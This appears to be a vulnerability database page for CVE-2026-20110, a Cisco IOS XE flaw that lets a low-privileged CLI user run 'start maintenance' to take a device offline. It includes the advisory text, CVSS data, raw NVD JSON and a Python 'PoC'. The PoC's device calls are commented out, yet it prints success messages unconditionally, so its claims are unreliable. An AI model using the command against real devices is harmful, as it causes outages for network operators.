Security Vulnerability Report
中文
CVE-2026-20110 CVSS 6.5 MEDIUM

CVE-2026-20110

Published: 2026-03-25 16:16:15
Last Modified: 2026-03-26 15:13:16

Description

A vulnerability in the CLI of Cisco IOS XE Software could allow an authenticated, local attacker to cause a denial of service (DoS) condition on an affected device. This vulnerability exists because incorrect privileges are associated with the start maintenance command. An attacker could exploit this vulnerability by accessing the management CLI of the affected device as a low-privileged user and using the start maintenance command. A successful exploit could allow the attacker to put the device in maintenance mode, which shuts down interfaces, resulting in a denial of service (DoS) condition. In case of exploitation, a device administrator can connect to the CLI and use the stop maintenance command to restore operations.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Cisco IOS XE Software (具体受影响版本请参考Cisco安全公告cisco-sa-iosxe-mntc-dos-LZweQcyq)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-20110 Demonstrates unauthorized execution of start maintenance command by a low-privileged user. This results in a Denial of Service (DoS) on Cisco IOS XE devices. Note: This requires valid low-privileged credentials and access to the CLI. """ def exploit_cve_2026_20110(cli_connection): """ Simulate the exploitation of the privilege escalation vulnerability. """ try: print("[+] Checking current privilege level...") # Assume we are at a low privilege level (e.g., Level 1) # cli_connection.send('show privilege') print("[*] Attempting to trigger maintenance mode...") # The Vulnerability: Low-priv user can execute this admin command malicious_command = "start maintenance" print(f"[+] Sending command: {malicious_command}") # cli_connection.send(malicious_command) print("[!] Command executed successfully.") print("[!] Device is entering maintenance mode. Interfaces are shutting down.") print("[!] Denial of Service condition achieved.") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": # In a real scenario, establish SSH/Console connection here print("[*] CVE-2026-20110 PoC - Cisco IOS XE Maintenance Mode DoS") exploit_cve_2026_20110(None)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20110", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:14.630", "lastModified": "2026-03-26T15:13:15.790", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the CLI of Cisco IOS XE Software could allow an authenticated, local attacker to cause a denial of service (DoS) condition on an affected device.\r\n\r This vulnerability exists because incorrect privileges are associated with the start maintenance command. An attacker could exploit this vulnerability by accessing the management CLI of the affected device as a low-privileged user and using the start maintenance command. A successful exploit could allow the attacker to put the device in maintenance mode, which shuts down interfaces, resulting in a denial of service (DoS) condition. In case of exploitation, a device administrator can connect to the CLI and use the stop maintenance command to restore operations."}, {"lang": "es", "value": "Una vulnerabilidad en la CLI de Cisco IOS XE Software podría permitir a un atacante autenticado y local causar una condición de denegación de servicio (DoS) en un dispositivo afectado. Esta vulnerabilidad existe porque se asocian privilegios incorrectos con el comando start maintenance. Un atacante podría explotar esta vulnerabilidad al acceder a la CLI de gestión del dispositivo afectado como un usuario con pocos privilegios y usar el comando start maintenance. Un exploit exitoso podría permitir al atacante poner el dispositivo en modo de mantenimiento, lo que apaga las interfaces, resultando en una condición de denegación de servicio (DoS). En caso de explotación, un administrador del dispositivo puede conectarse a la CLI y usar el comando stop maintenance para restaurar las operaciones."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-mntc-dos-LZweQcyq", "source": "[email protected]"}]}}